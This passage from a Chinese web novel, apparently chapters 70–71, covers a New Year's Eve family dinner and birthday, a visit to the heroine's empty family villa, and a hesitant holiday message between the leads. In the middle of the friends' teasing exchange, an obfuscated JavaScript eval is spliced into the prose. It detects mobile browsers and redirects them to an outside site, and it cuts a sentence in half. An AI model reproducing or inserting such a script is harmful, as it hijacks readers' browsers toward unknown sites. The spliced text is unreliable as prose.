正生气的袁周率小朋友眨眨眼，明白过来是自己太天真了，冲着袁月一哼：“妈妈骗人！太可恶了！” 三个大人被他这副表情逗得不行，一时间都笑了起来。 笑意稍歇，周桢忙又问：“对了，小默说他什么时候回来吗？我给他做几道他爱吃的菜，对了，还得收拾收拾他的房间。” 说着就要起身去忙。 袁月连忙拦住她：“阿姨你别急，他说要明天下午才回来呢，明天收拾也来得及。” 周桢脚步一滞，脸上有些微的尴尬：“哦，明天下午呢……”转而又笑笑，“那正好一家人可以吃顿团圆饭。” “嗯，我也是跟他这么说的！” “好了好了，”这时袁父发话了，“小默他们公司最近忙，估计这两天还有事情要处理，这孩子做事一向稳当，既然说会回来，那肯定会回来的，别多想了。” 周桢点点头：“对对。” 70. 除夕之夜 第二天就是除夕，荔安郊外南山下的别墅里，因为保姆也放假了，许愿妈妈齐珍正在厨房准备年夜饭。 还有给许愿的长寿面。 没错，今天除了是除夕，还是许愿的生日。 二十八年前的大年三十，许愿出生在新旧之交。因为日子好记，一直以来，许家都是给他过农历生日，如果碰上像今年这样没有大年三十的年份，便只按除夕来算。 迟了了在客厅闲不住，也跟进来打下手。 有这几个月以来跟着周默蹭吃蹭喝的经验，她也看了不少做饭的手法，偶尔还会跟着掺和两下，如今到了年夜饭上，更是忍不住想要“卖弄”两手。 只是平日里给她收拾烂摊子的是周默，今天就变成了许愿妈妈。 “了了今年厨艺进步了很多呀，青椒酿肉都会做了！”看着迟了了手忙脚乱地往青椒段里塞肉馅、又有些生疏生疏地放在锅里煎，齐珍依旧十分捧场地夸奖。 迟了了小尾巴早已翘上了天，得意洋洋地晃晃脑袋，说：“珍珍妈妈我跟你说，我今年学会了好多菜式呢，就是有些还不大熟练，这道青椒酿肉是我最拿手的，等会儿做出来，你一定要好好尝尝！” 最，拿手？ 齐珍想起刚刚她的样子，意味深长地挑起了眉毛，强忍着笑意点点头：“嗯，好呀！” 这时，外面传来客厅里许愿父子的声音。 “你行不行啊，这步棋能下这儿吗？”许爸烦躁地说道。 “怎么不能下这儿，你才不懂吧！”许愿顶嘴道。 “你给我收回去，换个位置！”许爸又说。 “我不！落子无悔，我就下这儿了！”许愿也说。 …… 厨房里齐珍听着父子俩斗嘴，无语地翻了个白眼：“这俩都多大人了，还一见面就斗，当自己是七八岁的小孩啊！” 那表情那语气，跟刚刚和迟了了说话时简直一个天一个地。 迟了了嘿嘿一笑，朝她眨眨眼：“都说‘打是亲骂是爱’，二爸这是爱许愿呢！” 齐珍“切”了一声。 都说女肖父儿肖母，这点在许愿和齐珍身上也不例外，许愿不仅五官长得像她，平日里对周默一脸不屑的样子，也跟此时的齐珍如出一辙。 “真的！”迟了了见她不信，又说，“珍珍妈妈你信不信，要是哪天二爸突然对许愿温柔起来，许愿反而害怕呢！” 这—— 齐珍想了想，倒还真是如此。 “到时候许愿肯定要说，老头子你正常点，有点吓人。”迟了了压着嗓子说道。 她将许愿的声音和口吻都模仿得惟妙惟肖的，一时间逗得齐珍乐个不停。 “臭小子这种，在你们年轻人里，是不是就叫‘抖M’？”齐珍问。 “咦？珍珍妈妈你还知道抖M呢？”迟了了惊奇。 齐珍得意地看她一眼，将刚切好的火腿丁放进锅里，拿筷子搅了搅：“那当然，我也是紧跟年轻人潮流的好吧！” 刚说完，外面被亲爹怼得不行的许愿实在受不了了，撂下棋子就跑进厨房找老妈。 “齐律师，你管管你老公吧，大过年的，还是我生日，就不能说两句好听的！”他将头靠在齐珍肩上，双手抱着她的手臂撒起娇来。 此时，一米八几的大个子用这种姿势趴着，实在有些诡异，迟了了看不过去，嫌弃地说：“许愿你羞不羞，这么大人了还找妈妈告状！” “就是！”跟过来的许爸站在门口，跟自己老婆说，“宝宝你别理他。” 许愿瞪了两人一眼：“都走开都走开！你们不疼我我妈疼我，对吧齐律师？” “嗯——”齐珍想了想，耸耸肩，“也不一定。” 许愿一颗心“咔嚓”——碎了。 下一秒他哀号起来：“为什么，你可是我亲妈呀！” “对呀，这才是亲妈！”迟了了截住他的话，说道，然后不等他反驳便将盛好的青椒酿肉交到他手上，“好了别撒娇了，上菜。” 厨房门口的许爸见状也撸起袖子进来端菜。 随着一声“开饭喽，过年咯~~~”的吆喝，年夜饭正式开始了。 …… 餐桌上，迟了了拿火机将蛋糕上的蜡烛点亮，然后又去关上屋里的主灯。 “好啦，吹蜡烛许愿吧！”回到自己的座位上，她说。 许愿一愣：“啊？歌呢？” “你都多大了还要唱歌呀？”许爸嫌弃地说。 “不行我就要，没有生日歌算什么生日！”许愿一尥蹶子，不干了。 前几年因为出国，他生日都是自己一个人在国外过的，如今回来了，难道连个生日歌都不配了？不行！ “行行行，给你唱。”齐珍看着这俩人一唱一和地欺负儿子，已经憋笑好久了，见这傻儿子还真信了，顿时绷不住了，压压手示意两人适可而止。 三人相视一眼，这才拍着手给他唱起生日歌。 气呼呼的许愿成功被一首生日歌哄好了，开心地许愿、吹蜡烛、收礼物、切蛋糕。 然后，开始吃饭。 对于迟了了亲手做的青椒酿肉，不管有没有那么好吃，一家人一律夸得那叫个天上有地下无。 而在得知这菜是她跟周默学的之后，许爸矛头立刻转向许愿：“你看看人家！” 许愿长叹一口气：他就知道。 “别看了，”他往自家老爹碗里夹了个鸡腿，劝他认清现实，“再看人家也不是你儿子！” 这话说得委实扎心，许爸拿自己的筷子重重敲了下他的，夹起那鸡腿就狠狠咬了一大口。 饭后，许爸和齐珍分别给两人发了个大红包，又告诉迟了了前两天给他们买了小烟花放在车库里，迟了了一听，立马坐不住了，拉着许愿就要出去放。 随着烟花嘭嘭嘭地在半空中炸开，迟了了举着手里的小炮筒，笑得开心极了。 放到一半，她拿出手机，开始挨个拜年。 闯闯正在跟一大家子人在酒店吃年夜饭，看到迟了了在放烟花，充分表达了对她不用应付一群长辈的羡慕之情。 而肖音韬则为了逃避家里的催婚，一个人跑去了古镇旅游跨年，接到迟了了电话时，她正挤在熙熙攘攘的人群中，等着看景区的水上烟花秀和舞龙表演。 “好了好了，我不跟你说了啊，这边人太多了，信号不好！”视频里，肖音韬被挤得东倒西歪，捂着耳朵朝她大喊着，“宝贝 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“哦哦好，去吧！”许爸连忙应道，然后一脚踹向旁边端着手机打游戏的许愿，“别玩了！” 已经拿下两杀的许愿此时正跟对手狭路相逢，眼见三杀就要到手，不巧被许爸这一踹立刻失了准头，许愿的角色眨眼就被对方一枪爆了头！ 手机里传来一声惨叫，然而许愿却罕见地没有顶嘴，只扭头看了眼已经来到在门口换鞋的迟了了，收起手机从沙发上爬起来。 “好了是吧？走。” 说着他走向玄关，换鞋、穿外套、跟着迟了了出门。 - 除夕夜里，一向静谧的别墅区里也平添了几分热闹，物业布置了许多春节氛围的装饰、中国结、小红灯笼，还有五颜六色的小灯泡……亮着的窗户上也贴着各式喜庆的窗花，春节气氛十足。 从许家别墅出来，迟了了和许愿都没有说话。 两人一前一后穿过院子、走出大门，又拐了个弯，沿着路边往前走。 几分钟后，两人在另一栋别墅前停了下来。 与许愿家不同，这栋别墅里没有亮灯。 迟了了熟门熟路地从兜里掏出钥匙，打开大门走了进去，然后双手揣在口袋里，就这么站在院中，看着面前的一扇扇窗户。 黑洞洞的窗户没有一丝亮光，又或是发着黑色的光，幽幽的，像是一个个能把人吸进去的盒子。迟了了渐渐看得入了神，隐约中竟感觉这些窗户次第亮了起来，这次不是黑色的光了，而是明亮的、暖白色的光。光里有人影从窗户后面透过来，伴随着一阵阵的欢声笑语。 然而，或许是因为隔着玻璃，又或许是隔着时间，那笑声也不大真切了…… 就在这时，前方传来许愿清朗的声音：“走吧。” 迟了了倏地回神，面前的窗户瞬间熄灭，一切再次归于黑暗。她看向许愿声音传来的方向，见他正站在一楼的门廊下，一手推着门，回身看着自己。 迟了了眨眨眼，将方才逃逸的情绪尽数关押回去，朝他展颜一笑，轻快地小跑过去。 71. 迟家别墅 进屋，开灯。 走过玄关，首先映入眼帘的，是充满现代艺术感的宽敞跃层客厅中央，几处被白色防尘布盖着的东西。 暖白色的灯光下，白色染着隐隐的橘黄，乍一看很像是夕阳斜照下的白色沙丘，但从“沙丘”的形状不难看出，那是一整套桌椅和沙发。 而比“白色沙丘”更引人注目的，是客厅墙壁上，一幅巨大的、几乎占据了客厅一整面墙三分之二的《群鲤戏莲图》。 红白相间的锦鲤成群结队，蜿蜒游走间宛若天边一抹恢宏旖旎的晚霞。醒目的红与如玉的白毫无规律地互相掺杂着，又像是皎洁的玉石中渗入了摄人心魄的红晕。 而在鱼群之侧，大片大片的绿色莲叶更是惟妙惟肖，同样是绿，却深浅相交、过渡自然：有的是赭绿，从深邃的叶心处渗出来，像一汪绿色的墨汁；有的是嫩绿，在叶缘处收尾，可转眼又在叶杆处续上；有的叶子尽情舒展着，有的则打着卷、盛着水；有的小如手心，有的大如伞盖…… 如果有懂行的，打眼一看便知这画定是出自名家之手，若放到市面上，必然价格不菲。 然而可惜的是，在画的左下角、两幅莲叶的间隙处，竟被人画了一只鼓着眼睛和肚皮的青蛙…… 还有几粒黑色的小蝌蚪。 画也就罢了，关键用的还是颜色十分跳脱的荧光绿彩笔，笔触更是憨厚稚嫩，毫无大师风范，反而更像是，幼儿园小娃娃的涂鸦。 于是，这样一幅令人叹为观止的《群鲤戏莲图》，便被这一角的“小蝌蚪找妈妈”给毁了。 迟了了端详着这图，不由想起幼时自己跟着外公学画画时的情形，再看那一角“小蝌蚪找妈妈”，顿时心虚地吐了吐舌头。 人一心虚，就喜欢假装自己很忙。 迟了了也不例外。 她赶紧走上前去，掀开一块防尘布。许愿见状也上前帮忙，两人一起，不一会儿便将客厅收拾得像是一直有人住的样子。 然后，他们又打开了楼上楼下所有的灯。 做完这些，许愿回到客厅，拍了拍手环视着四周，说：“我妈说她上个月刚让物业从上到下来检修过，没什么问题。前两天我家大扫除，给你家也里里外外打扫了一下，应该也不脏。” “嗯，珍珍妈妈跟我说了。”迟了了点点头，拿过刚才拎来的那只袋子，说，“那就开始吧！” 只见她先是从袋子里拿出了几卷春联，然后又拿出一沓碗口大的福字，紧接着还有各式小灯笼、小挂饰…… “哦对，这个！”她拿出一串缀着红色小鱼的曼陀罗风铃，不无炫耀地问许愿，“这个是我在网上淘了好久选出来的，怎么样，漂不漂亮？” 说着她抬指拨了一下，风铃旋转起来，像是有涟漪一圈圈荡开，跟下面缀着的小鱼倒是很相配。 许愿正倒腾着满桌子东西，闻言抬头看了一眼，难得认真地点了点头：“嗯，挺好！” 迟了了嘻嘻一笑，转头去找可以挂风铃的地方，可找了一圈没找到满意的，于是又跑出去，将风铃挂在了院子角落一棵高大的桂花树上。 再回到屋内，许愿已经将东西都分好了，两人便配合着给每个房间和角落都贴上了春联、福字和窗花，又用迟了了带来的挂饰将整个一楼装扮得喜气十足。 等所有东西各就各位，几乎累瘫的许愿往沙发里一躺，冲迟了了无声摆了摆手。 迟了了看他这样，眼底闪过一丝狡黠，伸出一只手像拍小狗那样拍拍他的脑袋，然后不等他反应过来便利落地收回手，一溜烟往楼上跑去。 “迟三三，”许愿挣扎着蹦起来，对着她飞快逃离的背影咬牙切齿，“大过年的别逼我收拾你啊！” “你敢！”迟了了嘻嘻哈哈地回他，“我让我爸去你梦里揍你！” “那正好，我要跟二爸告你状！” “你想得美！”迟了了回身朝他做了个鬼脸，“我爸肯定护着我呀！” …… 许愿又说了什么，迟了了已经听不清了，她笑着跑到楼上的一间卧室外，抬手握上门把手的同时，整个人一下子安静了下来。 又过了好大一会儿，她才再次使力。 随着“咔嚓”一声门被推开，无忧无虑的笑再次出现在她脸上。 眼前的房间，是个宽敞的卧室。 宽大的双人床坐落在房间正中，上面同样盖着一层白色防尘布，倒是堪堪露出的一角床头是浅棕色的。 床里侧，是一面被白色纱幔遮挡的落地窗，对面则是一整排储物柜，里面放着各种造型奇特的艺术品，柜子后面，是衣帽间和洗手间。 一个颇具设计感却又不失温馨的房间。 迟了了站在门口看了一会儿，才抬步走进去。 她先走到窗边拉开了窗纱，然后又回身来到床前，将覆在床上的防尘布掀开了一个角。 坐下后，她又打开床头灯，拿起灯旁柜上倒扣着的相框。 相框翻过来，是与她在901画室里那个一模一样的全家福。 迟了了揪起袖子擦了擦照片，又低头分别亲吻了一下照片里的男女，然后软乎乎地说了句：“爸爸妈妈，新年快乐！” - 楼下客厅里，许愿窝在一张沙发里，懒洋洋地举着手机，听着母上大人发来的消息。 听完后，他漫不经心地回了句：“没事儿，一会儿就回去。”然后便准备收起手机。 可刚把手机锁了屏，他就听到楼梯方向传来了脚步声，转头看了一眼，见迟了了正低着头默不作声地下楼，又重新打开手机，发了一句“现在回去”。 留着满屋亮堂的灯光，两人将房门重新关上，然后锁上院门，一前一后地往回走。 回去路上和来时一样，谁也没有说话。 虽然知道原因，可看着面前迟了了一言不发只顾埋首走路的背影，许愿还是很不是滋味。 想了想，他扬声唤道：“喂，迟三三。” “……嗯？”迟了了慢了半拍才回过头来。 “新年快乐！”许愿扬起笑，一副没心没肺的样子。 五官漂亮的年轻人，穿着簇新的棉外套、围着围巾，顶着一头醒目的红发和明媚张扬的笑，在这寒冷的、新旧交替的冬夜里，像是一支呼呼跃动着的火把。 到底是从小一起长大，只那么一刹那，迟了了便明白了他的意思。 “傻许愿，新年快乐！”她狡黠地笑道。 许愿立刻皱起眉头，啧了一声：“你这人，送祝福都不能态度好点吗？” “嗯……”迟了了歪头想了想，良心发现，“那祝你新的一年更帅一点，少挨点骂！” 本以为这样总该满意了，不料许愿却回了一句：“那我祝你新的一年继续没心没肺，保持单身。” “诶？你这是祝福吗！”迟了了不乐意了。 “既然如此，那就别怪我不客气了！”她眼睛一转，以牙还牙，“祝你新的一年身体健康，头发掉光！” “祝你……吃嘛嘛香，吃点就胖！”许愿摆出一副欠揍的表情，继续犯贱。 太可恶了！ 迟了了握紧拳头，上去就给了他一脚。 可许愿似乎早料到她会用这招，一个灵巧的躲闪就跑到了前面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818899|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边跑还一边继续补刀：“祝你点外卖永远有香菜~” 迟了了蹭蹭蹭追上去：“祝你排队的时候总是在最慢的那队！” “祝你拿伞时不下雨，下雨时不拿伞~” “祝你抽奖永远是谢谢惠顾！” “祝你抢限量排到你刚好抢完~” “祝你出门找不到停车位！” …… - 和祝赫打完电话从房间里出来，周默回到客厅，看到一家人正围着小胖墩说笑，突然顿住脚步。 垂眸思忖片刻，他又穿上外套转身往外走去。 客厅里，周桢留意到他的动静，赶忙起身喊住他：“小默，你上哪去？” 周默停下来，回头看向她，淡淡道：“没事，出去打个电话。” “又……打电话啊？”周桢有点小心地问。 周默顿了顿：“嗯。” 察觉到自己反应有些过激，周桢连忙又笑了笑：“那去吧，别打太久，小心着凉。” 周默点点头，重新转过身，开门出去。 看着他的身影消失在门外，周桢失魂落魄地坐下，失望之情不言而喻。 袁月爸爸见状抓过她的手，温柔地拍了拍，说：“别太紧张，小默长大了，工作也忙，有自己的社交圈很正常。” “就是，阿姨你别想太多，”袁月也劝道，“我哥除夕跟人打电话拜年，这说明他现在交到新朋友了，这不是值得高兴的事嘛！” 听袁月这么一说，周桢也恍然想起去年儿子刚从国外回来那段时间的情况，这么一对比，现在儿子虽说跟自己还是不太亲近，但看起来状态确实好了很多了。 这么一想，她心里顿时松了不少，反握住丈夫的手：“是啊，是值得高兴。” 她看着面前两人，目光掠过正玩着新到手的小火车玩具的袁周率小朋友——这是周默下午回来时给他买的，又落向窗外院中那道独立的身影上：“他高兴我就放心了！” …… 屋外，周默独自站在院子里，低头看着手机上的聊天窗口陷入迟疑。 他其实一开始并没有想打电话，只是看到刚刚那一幕，感觉自己似乎不应该出现在那里，于是便找了个借口出来独自待会儿。 可等出来了，他又突然想到迟了了。 手机上，两人的聊天还停留在昨天上午，她抱怨说许愿非拉着自己马上回去，来不及当面道别只能微信说再见了，还提前祝自己新年快乐。 今天是除夕，马上又是新年，打个电话问候一声，应该很合理吧？ 他想。 而且她祝自己新年快乐，自己还没回祝呢。 这般游说着自己，周默点了下“视频通话”的按钮，但紧接着，手指在“视频通话”和“语音通话”之间徘徊了一秒后又收了回去。 可，万一她正和家人在一起，自己打电话过去，会不会不太方便？ 周默忽地清醒。 要不，发个信息好了？ 虽然他现在很想听听她的声音、想跟她说说话，但，还是发个信息好了。 这么想着，他按开已经熄屏的手机，谨慎措辞输入了一行字。 半分钟后，看着发出去的那行字，周默抿了抿唇，有些不自然地抬头打量起四周，心里暗暗揣摩着她什么时候能看到消息给予回复。 令他没想到的是，这念头刚落，手中的手机就响了起来！ 周默的心一紧，拿起手机一看，果然是迟了了回了视频过来。 他不由地深吸一口气，又借着手机屏幕的反光理了理头发，这才按下接听键。